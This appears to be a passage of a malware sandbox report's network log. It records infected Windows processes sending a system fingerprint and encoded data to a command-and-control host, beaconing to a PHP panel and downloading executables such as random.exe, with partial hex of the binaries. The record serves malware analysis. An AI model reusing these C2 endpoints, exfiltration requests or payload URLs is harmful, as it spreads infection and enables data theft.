Dec 17, 2024 22:06:36.441375017 CET	12360	OUT	POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1 Host: home.twentytk20pn.top Accept: / Content-Type: application/json Content-Length: 500606 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 34 36 39 35 39 34 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED] Data Ascii: { "ip": "8.46.123.189", "current_time": "1734469594", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 38, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 324 }, { "name": "csrss.exe", "pid": 408 }, { "name": "wininit.exe", "pid": 484 }, { "name": "csrss.exe", "pid": 492 }, { "name": "winlogon.exe", "pid": 552 }, { "name": "services.exe", "pid": 620 }, { "name": "lsass.exe", "pid": 628 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 776 }, { "name": "fontdrvhost.exe", "pid": 784 }, { "name": "svchost.exe", "pid": 872 }, { "name": "svchost.exe", "pid": 920 }, { "name": "dwm.exe", "pid": 988 }, { "name": "svchost.exe", "pid": 364 }, { "name": "svchost.exe", "pid": 356 }, { "name": "svchost.exe", "pid": 696 }, { "name": "svchost.exe", "pid": [TRUNCATED]
Dec 17, 2024 22:06:36.561022043 CET	2472	OUT	Data Raw: 71 6c 46 30 36 32 58 59 58 47 51 6d 72 79 54 63 59 54 63 66 6b 73 66 38 74 50 78 5c 2f 72 55 64 66 6f 72 59 5c 2f 42 72 34 51 65 4a 74 46 55 58 50 67 69 58 77 5c 2f 4d 38 6a 4d 4e 52 38 4a 65 4b 66 45 73 47 6f 49 77 49 32 78 6c 66 46 75 6f 65 4d Data Ascii: qlF062XYXGQmryTcYTcfksf8tPx\/rUdforY\/Br4QeJtFUXPgiXw\/M8jMNR8JeKfEsGoIwI2xlfFuoeM9LktuD5kf9lx3LgkJewna6+X+I\/2R78+ZN4A8caNrnEjR6J4tgHgvWZXJ3R29pqMl1qvhGZETKPf6x4i8NCSRQy2UaybI\/MyTxk4KzRqGIr4\/I5Ta9n\/bWFhSoyXWc8Xga+YYLDQSs3PGYnDq2uvLLl97PvAL
Dec 17, 2024 22:06:36.561077118 CET	2472	OUT	Data Raw: 4f 4b 34 68 6c 69 54 78 57 76 36 31 79 48 50 73 6e 34 6e 79 66 4c 38 5c 2f 79 44 4d 4d 50 6d 6d 54 35 70 68 34 59 72 41 34 37 43 79 35 71 56 61 6c 4f 36 32 61 55 36 64 57 6e 4e 53 70 56 36 46 57 4d 4b 2b 48 72 77 71 55 4b 39 4f 6e 57 70 7a 68 48 Data Ascii: OK4hliTxWv61yHPsn4nyfL8\/yDMMPmmT5ph4YrA47Cy5qValO62aU6dWnNSpV6FWMK+HrwqUK9OnWpzhH+KOJOG894Qz3M+GuJcsxWT55k+Kng8xy7GQ5K1CtCzTTTlTq0atOUK2GxNGdTD4rD1KWIw9WrQq06kiiiivXPLK9FFFADX+6fw\/mKhqxUD\/AHvx\/wDZTQdAlFFFAEGU\/vj8v\/r0lFFB0BUcnb8f6VJRQBV+f
Dec 17, 2024 22:06:36.561187983 CET	2472	OUT	Data Raw: 5c 2f 41 4d 4b 48 5c 2f 75 70 38 37 38 79 5c 2f 36 30 51 66 79 39 5c 2f 72 51 61 46 5a 42 35 63 6a 37 45 4f 38 39 68 39 6c 35 2b 32 63 5c 2f 77 43 66 38 6d 6a 50 37 7a 65 36 53 49 2b 62 66 7a 62 6a 5c 2f 6c 68 6a 76 5c 2f 58 5c 2f 41 44 78 52 74 Data Ascii: \/AMKH\/up878y\/60Qfy9\/rQaFZB5cj7EO89h9l5+2c\/wCf8mjP7ze6SI+bfzbj\/lhjv\/X\/ADxRtR9+xPkt\/wDpl5\/N5yP8\/jT5N\/Dv5ieXF\/q45f8AU\/5\/zmgBjL+7fy3\/ANXEZfL\/AOe3+I\/\/AFUyST5kR\/LT\/wAj+T9OPU1MzeZ86ZTp\/rM\/56fhQH8tYtnmfu4seZ\/0w+1f5\/n6mg6Ct\/Em
Dec 17, 2024 22:06:36.561234951 CET	2472	OUT	Data Raw: 74 54 6a 4a 74 38 79 5a 44 2b 37 5c 2f 41 4d 35 71 4f 70 32 56 4f 33 54 38 76 38 50 35 55 74 66 31 49 66 78 69 52 2b 58 37 5c 2f 70 5c 2f 39 65 6e 66 50 5c 2f 73 5c 2f 72 54 71 4b 41 50 37 65 4c 75 33 74 4c 32 32 6c 73 37 2b 32 69 76 4c 4f 35 41 Data Ascii: tTjJt8yZD+7\/AM5qOp2VO3T8v8P5Utf1IfxiR+X7\/p\/9enfP\/s\/rTqKAP7eLu3tL22ls7+2ivLO5ASe2nXdHICRhuCGjkQ4eKaNllhkCvG6sAa+YbmKDT9c1jT7YsLew1fUrO38xtziG1u5oIt7gKGYpGu5sDcc8dh9Mzy4IGe4x\/nH+c+1fKuq3H\/FWeJeeniHWQeex1G5wfw4\/zmv+GrjqdOeFwcuWDq08U4Rq8q9
Dec 17, 2024 22:06:36.561245918 CET	2472	OUT	Data Raw: 7a 6e 43 57 59 34 62 46 34 4b 6d 76 61 35 64 52 56 61 70 58 77 39 52 52 77 37 71 71 50 4a 4e 78 71 77 33 48 2b 50 58 78 55 4f 66 2b 4d 4b 76 32 6d 68 75 36 66 38 56 58 2b 78 74 77 4d 48 5c 2f 71 37 58 38 65 33 51 65 74 65 61 5c 2f 45 7a 78 7a 38 Data Ascii: znCWY4bF4Kmva5dRVapXw9RRw7qqPJNxqw3H+PXxUOf+MKv2mhu6f8VX+xtwMH\/q7X8e3Qetea\/Ezxz8V\/iHpmiWdt+yv+1z4J1Lw94iTxJpXiDw14i\/YVu9St7v8AsLX\/AA5PAbbxV+0x4j0Wa2utK8SajDMs+lyyo7Ry28sEsauPhT9lD\/gsp4Q\/aA\/a38ZfBjxLpNj4O+GfjPU7fR\/2c\/Et6sllq2o6rpyNbNp
Dec 17, 2024 22:06:36.561273098 CET	2472	OUT	Data Raw: 68 54 7a 48 66 5c 2f 41 4a 5a 65 57 66 33 38 31 78 5c 2f 6e 5c 2f 50 49 46 45 6a 62 76 75 66 76 76 74 48 37 33 5c 2f 57 5c 2f 54 5c 2f 50 61 6a 37 4f 38 6a 4e 76 77 5c 2f 6c 5c 2f 79 7a 2b 76 35 55 32 4e 6f 57 34 2b 2b 5c 2f 34 66 36 38 38 66 35 Data Ascii: hTzHf\/AJZeWf381x\/n\/PIFEjbvufvvtH73\/W\/T\/Paj7O8jNvw\/l\/yz+v5U2NoW4++\/4f688f57fXpQdhGW\/jeHBx+9k83rcfnn8\/8ACmeW\/mO+Ns0f8EkXkfpUzF23\/uf+usf\/ACw\/z\/nimSfL8\/3+n7ySX9\/ng4\/woArSR5kf5I\/+mX739P8APSoX2bfnky8f72L\/AJb\/AFFpzVzb5nzodhP\/AE
Dec 17, 2024 22:06:36.561327934 CET	4944	OUT	Data Raw: 44 76 58 6b 59 36 50 34 37 2b 47 6d 74 61 54 64 44 6a 7a 50 4d 57 39 30 31 49 35 49 44 6c 53 73 39 74 62 33 56 35 64 77 4f 72 41 78 7a 57 36 4f 4d 46 51 79 39 44 38 4e 62 44 34 39 66 73 6a 5c 2f 43 66 34 31 4c 34 69 2b 47 75 68 2b 4a 64 4f 30 76 Data Ascii: DvXkY6P47+GmtaTdDjzPMW901I5IDlSs9tb3V5dwOrAxzW6OMFQy9D8NbD49fsj\/Cf41L4i+Guh+JdO0vUPD8\/hnULDUYbnR9UsNTfxRba\/wCJtds7S+lvrqx0qKHw7bXdnLp2i6s+n3FvHe3Z06yW6sOG\/Zs8Xab4T+MfhXUtevrfTNFnXVtO1PUJWRY7aG90i+jt3cyTQR7f7QWyDCSQ5XOxWl8sV+3WhQ\/DrxVZPFaa
Dec 17, 2024 22:06:36.561403036 CET	2472	OUT	Data Raw: 44 51 61 55 2b 76 79 5c 2f 55 72 65 58 37 5c 2f 70 5c 2f 77 44 58 71 4f 72 46 46 42 6f 55 70 46 5c 2f 6a 39 50 38 41 44 74 54 4b 74 53 39 5c 2f 39 33 5c 2f 47 6f 4e 68 39 76 38 5c 2f 68 51 64 42 44 33 66 36 44 2b 56 52 56 59 71 76 57 6e 73 5c 2f Data Ascii: DQaU+vy\/UreX7\/p\/wDXqOrFFBoUpF\/j9P8ADtTKtS9\/93\/GoNh9v8\/hQdBD3f6D+VRVYqvWns\/P8P8Agm1Op8\/1\/wCD\/wAHQKj8v3\/T\/wCvUlRj\/lp+P9azOj3\/AO7+JDIuPw\/kf8\/zqGrFQv8AeP4fyFBrzvy\/r5ldl2475ptWKifr+H9TQajKgkj+Xrn8P89elT0UHQUpI\/l44+vf\/PT6fqypn+6f
Dec 17, 2024 22:06:36.561635017 CET	2472	OUT	Data Raw: 54 2b 39 75 50 4b 6a 5c 2f 77 42 66 5c 2f 77 41 75 76 36 38 39 4f 4b 7a 41 50 37 5c 2f 5c 2f 41 46 79 38 33 4d 6e 35 65 5c 2f 38 41 58 31 39 61 5a 5c 2f 77 4f 4e 50 38 41 6c 72 39 6f 39 65 5c 2f 74 36 66 35 7a 79 2b 50 5a 35 6d 64 2b 79 50 6a 5c Data Ascii: T+9uPKj\/wBf\/wAuv689OKzAP7\/\/AFy83Mn5e\/8AX19aZ\/wONP8Alr9o9e\/t6f5zy+PZ5md+yPj\/AKb0z738ex\/NMX+q\/wBd\/n9c+\/IdAyTf8mx43\/e\/89fy\/Dp0pn3WT+P\/AGJPy7U9tjxzb\/MTzP8Athj\/AD\/9fIp8f7z1R\/8AllHJFj\/P4+9AFOT+8n18r8zj+XT8u9SeYgk\/1PkzT\/vc\/wCu
Dec 17, 2024 22:06:36.680737972 CET	2472	OUT	Data Raw: 6c 47 56 34 50 45 5a 68 6d 47 50 72 53 5c 2f 32 62 43 34 4c 43 30 70 56 73 52 69 61 6b 34 52 6b 5c 2f 5a 55 71 55 4a 54 6b 34 71 58 75 70 36 4d 2b 50 79 58 4a 73 38 34 69 7a 6e 4c 75 48 63 6c 79 5c 2f 45 5a 6a 6e 57 61 34 79 6a 6c 2b 58 5a 64 51 Data Ascii: lGV4PEZhmGPrS\/2bC4LC0pVsRiak4Rk\/ZUqUJTk4qXup6M+PyXJs84iznLuHcly\/EZjnWa4yjl+XZdQX+1YrGYiahRw9OE+SKqTk0lzuMVvJpXZz9FUfB+s2\/wARdC+Fmu+DbbStRf4xfFnxv8G\/BukHxFBpup\/8JL8OvBfhP4h+MdZ1281ey0\/wx4f8E6D4Q8X2Wt6v4p1PxJBa6Lp+ma7qWtw6bpOnHUZdTWJvCq6T
Dec 17, 2024 22:06:39.205714941 CET	164	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Tue, 17 Dec 2024 21:06:38 GMT content-type: text/html; charset=utf-8 content-length: 26 Data Raw: 4f 51 4a 61 33 72 65 37 4b 78 6b 6e 34 61 77 46 31 37 33 34 34 36 39 35 39 38 Data Ascii: OQJa3re7Kxkn4awF1734469598

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49843	104.154.220.71	80	8072	C:\Users\user\AppData\Local\Temp\1016743001\93b1627660.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:06:39.556958914 CET	126	OUT	GET /WEIsmPfDcpBFJozngnYN1734366322?argument=OQJa3re7Kxkn4awF1734469598 HTTP/1.1 Host: home.twentytk20pn.top Accept: /
Dec 17, 2024 22:06:41.030778885 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Tue, 17 Dec 2024 21:06:40 GMT content-type: application/octet-stream content-length: 10816560 content-disposition: attachment; filename="wmhxbWrMmpOSXnEQUlz;" last-modified: Mon, 16 Dec 2024 16:25:22 GMT cache-control: no-cache etag: "1734366322.858812-10816560-3400407440" Data Raw: d5 59 3c ac 4f c5 f6 d3 51 7e 47 47 26 fc 67 8e 84 c9 d0 b9 c8 1a b5 f2 9f 36 58 4e 2a 47 78 b3 71 d6 90 99 2c 75 71 ee 05 07 6f e4 46 9c 81 25 65 1e b9 5c 4c cd 26 06 a2 8a 7f f2 65 9e 16 dd 0a 62 a6 54 b4 af c9 89 f9 fa 9d 0d e0 ee 45 13 e3 62 b4 7a 27 ea 09 83 39 68 2b 57 d4 60 b5 5e e3 8d 8a ca f3 0f 65 59 61 a9 31 84 ec 75 18 9f 24 5a b0 43 dc a9 88 a2 32 72 8c 21 0b 74 3a 35 c1 bb ab 53 27 66 6a 20 e9 40 bb 35 77 dc 6b 55 70 51 7b b4 f9 80 55 0a bb 5b 04 23 b9 54 94 13 ce 2c 0f 64 c3 37 11 71 7d c1 39 1d bd 7e 1d a8 c2 76 08 b7 bb e4 83 f9 ca ca 3f d4 dc a1 68 0b fd 09 4e df f0 a3 4b ae ec 74 e9 a6 d0 f3 8f 73 8f bf ae 9d b3 e6 e5 e8 01 1a e2 90 67 05 cf 14 df 94 91 9a ac 00 db 92 f7 18 9e cd ca 55 e2 d5 d7 f2 87 f7 fa 3e f6 0f 54 99 fb 85 6f 27 8f 0b 94 d4 df 07 de d7 fd d7 24 7d 3b e8 61 d3 13 51 b5 02 12 b2 41 76 6e ac e5 f8 d0 76 a2 58 a0 af b0 ed e4 17 7d e1 24 1c 2f d5 3b 76 8d 8f 0c ad 07 bf 79 f7 c3 7c ae 13 ae 2d b2 54 c1 39 70 46 45 22 5c aa 6d 59 19 8b e5 22 88 83 18 44 c0 92 bf b1 [TRUNCATED] Data Ascii: Y<OQ~GG&g6XNGxq,uqoF%e\L&ebTEbz'9h+W`^eYa1u$ZC2r!t:5S'fj @5wkUpQ{U[#T,d7q}9~v?hNKtsgU>To'$};aQAvnvX}$/;vy\|-T9pFE"\mY"D7kamD}?@ZY m>]De!cYJ<vG}%o$QWP8.jxx%_xHVFC:\Y<,8/w"QQt4ep\6OC)['[VFdN_btA9AF]"e$9&-;( NGU1ht)#i$00_W~W<"]::Uxw[\|yJ~n7isY2_(q8""~@/t1@"n6]rtYukb.]PxC3l&f-KMU;5^>>?eRL?#14rYlG(~ {9Ps!jRn@f^KI/DSLKs4`dX/iwo\I@$
Dec 17, 2024 22:06:41.030853033 CET	1236	IN	Data Raw: f4 94 2e 6b 10 0a 2a 7d 78 3d a2 5d 2e 64 71 a5 1c fe 68 57 df 5f 96 f6 4c 28 9f 74 29 e4 0e 1d 56 23 c2 6c 8a c0 b4 eb 62 28 4c ee 7b 5a c4 2f e5 ef 72 84 32 e9 e1 08 27 06 4a 55 a3 38 47 7e b6 98 46 90 01 62 04 56 b0 f0 70 df a4 19 39 28 eb a8 Data Ascii: .k}x=].dqhW_L(t)V#lb(L{Z/r2'JU8G~FbVp9(C4.BqN%7aNQ4/2M]ur"sTJj6(kD8ctTBHUE:zm[Y264#rGSLZUs'Tw
Dec 17, 2024 22:06:41.030869007 CET	1236	IN	Data Raw: 4d bc c2 d8 75 84 b5 f7 b3 59 c9 af 94 f9 8a 27 4e 85 a1 36 76 b0 38 83 cc bd a2 a7 55 2a 4b 0b 05 51 f9 f5 0e fb 39 63 2b c9 60 04 64 e5 6b 13 26 92 33 af 53 a1 bc 41 14 9f 71 fd 27 65 5f 93 58 48 46 88 7a e2 3d 5a c7 1d f9 00 f1 4e be cf fb db Data Ascii: MuY'N6v8U*KQ9c+`dk&3SAq'e_XHFz=ZNmMl]!5,Gjk[}tXW~"3d-_n!y4N}oW>fpB~:Lz(S]sQrH~isg?H/Vaw!_)?-j%
Dec 17, 2024 22:06:41.030884027 CET	1236	IN	Data Raw: db bb 04 06 f0 1d c4 65 dc 85 cf 73 b0 c9 a6 f5 f3 c9 de cb 33 10 d9 0c db b7 e7 5d 4e 59 82 da 60 18 75 95 28 0f e6 fe ca 94 ab 39 72 a3 40 bb 10 e7 dc b1 3e 62 82 62 0f 79 53 e6 35 3a d4 54 04 89 2e 96 e6 bd 03 ba 97 04 56 44 2b 90 5c 6d c1 ba Data Ascii: es3]NY`u(9r@>bbyS5:T.VD+\m(T3rr+6g($8!&v;3+6W<yeYY2C%TslvBiZYc<![x{F $UR"S4m>
Dec 17, 2024 22:06:41.030965090 CET	1236	IN	Data Raw: e5 b3 68 ad c7 82 7a 60 b4 c0 26 d1 7d 54 3d d2 e4 0c cc 5f 1a 97 42 f8 9a d5 37 1c 53 bf 0d 7b 69 f2 f6 72 91 67 45 81 d8 6d c3 81 a6 0a 30 b4 a0 57 5a 5c 56 76 5a 5e 7e 2a fb c2 cf 94 a2 07 f6 73 2e 38 87 36 ce 32 b9 32 fe 5d ea 34 e0 dd 79 6e Data Ascii: hz`&}T=_B7S{irgEm0WZ\VvZ^~s.8622]4ynT7HM"c")j8x$k7qkXRck6Q[[Z?^M_&\| y)Vogk3%2"d
Dec 17, 2024 22:06:41.031107903 CET	1236	IN	Data Raw: 15 ab 49 c6 ef b6 2c c0 ee a5 cb 01 ed ec 49 c1 3e 1e 26 b0 09 e2 4c 45 6d 93 39 85 5a cd 70 76 45 1d 8c 1a a6 e2 7b d7 9a 92 0b 91 08 0e bd 9a 34 0e 59 d2 8b ed 89 b2 a2 32 c0 fc 38 b7 33 bb cf 63 18 2e aa 81 a6 18 3d 59 2c 71 d9 f1 cb 12 ee ef Data Ascii: I,I>&LEm9ZpvE{4Y283c.=Y,q0'v`:;(UjTwa@QD%_k4/c l@K'("nl4c4Nm'r}*fM@OggAk
Dec 17, 2024 22:06:41.031122923 CET	1236	IN	Data Raw: 2a 7f fd d4 a1 c3 05 71 fd 04 13 35 90 9e 9b 0c 05 ad d8 f3 81 b0 99 82 f6 36 51 3d 65 88 80 1a 8d d8 18 d6 80 c8 e8 3a 50 61 b3 58 12 23 5e a5 b6 0e 40 be ec 03 24 27 f0 08 7f 2f 76 b5 f7 1f 6b 2c 01 f0 46 a1 f6 4d 8f 6a 52 02 7d 11 cb 6c 85 16 Data Ascii: *q56Q=e:PaX#^@$'/vk,FMjR}lWLvn&_t)f@:'no{q/O&\6kdoy#jKwVHiCtNW->g@+f{.nX8QDnc
Dec 17, 2024 22:06:41.031137943 CET	1236	IN	Data Raw: a5 00 2e 11 71 f8 fc 7e f9 25 2d 62 73 88 f4 a1 43 bc 24 79 9b bf 49 46 11 d9 46 e9 d1 ca 02 0a b2 fd a9 1a a2 d9 6c 0e f1 dd f9 79 90 3e 7b 53 73 fc cd 9a cd c1 9d 99 a5 e7 21 25 77 4f 61 98 38 86 cf f2 00 72 9b e6 89 5e c1 a7 49 5b 27 9d ab 63 Data Ascii: .q~%-bsC$yIFFly>{Ss!%wOa8r^I['cBi>sbx4-"1dc[cf63!G}"u43pF4gm-Ey'7apxnkS1*Ob&dTbvMk$;20uX?!%Ft_1L
Dec 17, 2024 22:06:41.031155109 CET	1236	IN	Data Raw: 1d 30 ec 54 5c 2f 67 fc 00 db 16 4f d3 67 51 8c 67 f4 be a7 6a f0 cc d5 26 37 79 56 e9 56 ec ce b2 bf 21 a4 56 f9 6f 85 dd b5 29 8e 63 b9 f1 25 92 99 07 b6 ec 67 26 13 28 1e 4d d4 fc 40 95 41 ff 4d c3 28 24 6d 4a 28 f0 d3 21 60 2a 52 b3 f5 ab 9e Data Ascii: 0T\/gOgQgj&7yVV!Vo)c%g&(M@AM($mJ(!`R[%nxe=v 0`~/n4[efy\lHO>*v:kYS<k"o!PN2{{`dn,M~l:%Ru'D;\)N42=HnXUPW
Dec 17, 2024 22:06:41.031169891 CET	1236	IN	Data Raw: 5d f5 b2 41 ea c7 9c 67 3c 9a f7 b8 28 91 80 e7 18 5f 06 5c aa 71 94 75 0a cc 1e 80 b5 10 04 4d 38 2a 33 1a 09 be cb 34 2e 74 4d 3e f3 2f 18 ec e0 f8 c1 df 31 91 6e 6f b4 f8 76 9d 88 d4 d6 0c 2e ea 74 28 d4 0c 6b 60 8c 2a 09 46 9d ff 96 00 14 48 Data Ascii: ]Ag<(_\quM834.tM>/1nov.t(k`FH<Ii?VIOg]H=Q-8tl1X81k}(LRce6Dkk0Zc:bqx'3K+*}cb(t<Jkg`dU%X2~e,yL5{H5l
Dec 17, 2024 22:06:41.150602102 CET	1236	IN	Data Raw: dc 5e 76 ae 4d 80 da 38 10 cb 04 a0 61 9c 5b 21 e3 fc 19 70 a9 7a f8 1d ce 63 b5 dc 6b 5d 14 aa 73 f8 cd 33 25 e2 f7 c2 3a d1 54 4a 6a 87 0c c2 e9 ff d8 5b 3a 6c bb 09 8a 8a da 00 e6 65 a1 20 e3 43 9a bd 84 17 34 74 dd bb e6 25 3b 98 9f 2d 9a a3 Data Ascii: ^vM8a[!pzck]s3%:TJj[:le C4t%;-5@0m662Q:z"nB=7p0(Irj"<6:NouB.c\|7E'{dv2[2dnb\| PV^'bgX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49854	185.215.113.43	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:06:43.968801022 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 37 34 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016744001&unit=246122658369
Dec 17, 2024 22:06:45.287966013 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:06:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49860	31.41.244.11	80	7592	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 22:06:45.413095951 CET	62	OUT	GET /files/burpin1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 17, 2024 22:06:46.765317917 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 17 Dec 2024 21:06:46 GMT Content-Type: application/octet-stream Content-Length: 4438776 Last-Modified: Tue, 10 Dec 2024 00:01:52 GMT Connection: keep-alive ETag: "675784f0-43baf8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@D0O{C?l.text `.rdata;<@@.dataM@.rsrcO0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
Dec 17, 2024 22:06:46.765443087 CET	224	IN	Data Raw: c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 94 80 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 68 80 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 56 8b f1 Data Ascii: jZQ39FY~9F~fAfG@;F\|6hYF>f$G^_^[Vv\IY^oUQQAuVjjEP5A\|At>E;Ew6rE;Es,jPYYtlAj@ AEPjh5XAA3
Dec 17, 2024 22:06:46.765455008 CET	1236	IN	Data Raw: c9 c2 0c 00 8b 44 24 08 85 c0 74 0c a3 6c e9 41 00 b8 05 40 00 80 eb 3a 56 8b 74 24 08 57 8d 7e 24 83 3f 00 74 0f 8b 4e 20 8d 46 34 50 83 c1 08 e8 c0 11 01 00 8b cf e8 da 29 01 00 83 7e 1c 00 74 0c ff 76 40 ff 76 28 ff 15 80 a1 41 00 5f 33 c0 5e Data Ascii: D$tlA@:Vt$W~$?tN F4P)~tv@v(A_3^UVuA}juuv(j}iuv(jjuVP^]=AtjA=XAtL$AVQ3=lAQjjPR=Atj5XAA^L$
Dec 17, 2024 22:06:46.765530109 CET	1236	IN	Data Raw: 8b 76 0c 85 f6 59 74 06 8b 06 56 ff 50 08 5e c3 83 6c 24 04 04 e9 76 ff ff ff 56 6a 01 8b f1 e8 d3 fc ff ff 8b 46 04 8b 0e 66 8b 54 24 08 66 89 14 41 ff 46 04 8b 46 04 8b 0e 66 83 24 41 00 8b c6 5e c2 04 00 55 8b ec ff 75 0c 8b 4d 08 e8 03 fc ff Data Ascii: vYtVP^l$vVjFfT$fAFFf$A^UuMuME]Vt$NFuhVrzY3^Uh$AuYYtEMPQ3hAu{YYu@]L$IAujP3VNXAD
Dec 17, 2024 22:06:46.765542984 CET	1236	IN	Data Raw: 8d 55 d4 0f 95 c0 52 6a 0c ff 75 0c 89 46 3c 8b 46 0c 8b 08 50 ff 51 18 3b c7 89 45 0c 74 19 8d 4d d4 e8 fe 08 01 00 ff 75 f0 e8 ec 75 01 00 8b 7d 0c 59 e9 cf fe ff ff 0f b7 45 d4 3b c7 74 1a 83 f8 40 74 07 6a 66 e9 71 ff ff ff 8b 45 dc 89 46 34 Data Ascii: URjuF<FPQ;EtMuu}YE;t@tjfqEF4EF8EPAF4PEPA9~<t3Y>jh/N4QPYY%jlu;YtxXAH3PMF (F jQHxx,
Dec 17, 2024 22:06:46.765554905 CET	672	IN	Data Raw: 64 a1 41 00 eb 7a 83 3d 90 e9 41 00 00 75 6f 8b 35 68 a1 41 00 68 d0 a5 41 00 bb c4 a5 41 00 53 c7 05 90 e9 41 00 01 00 00 00 ff d6 8b 3d 6c a1 41 00 50 ff d7 6a 00 89 45 fc 0f b7 05 80 e9 41 00 68 09 04 00 00 6a 00 50 8d 45 bc 68 a8 a5 41 00 50 Data Ascii: dAz=Auo5hAhAASA=lAPjEAhjPEhAPA}uhASPEtjEPjU3_^[U,SVW3WAjXPE0A}j`X5TAj`jdPv\|=j[j=j[j_EPju@AWSuW
Dec 17, 2024 22:06:46.765566111 CET	1236	IN	Data Raw: 50 ff 51 0c 39 75 fc 74 3f ff 75 fc e8 d4 fd ff ff 59 8d 4d d8 51 6a 18 50 89 45 fc ff 15 40 a0 41 00 6a 06 ff 75 e0 ff 75 dc 56 56 56 ff 75 08 ff 15 84 a2 41 00 ff 75 fc 56 68 72 01 00 00 ff 75 08 ff 15 b8 a2 41 00 8b 45 f0 8b 08 50 ff 51 08 33 Data Ascii: PQ9ut?uYMQjPE@AjuuVVVuAuVhruAEPQ3@WPA3_^[f=AuD<AfAAfft@Af=uDAA;ufAAUSV339AtAM9tFA9u9
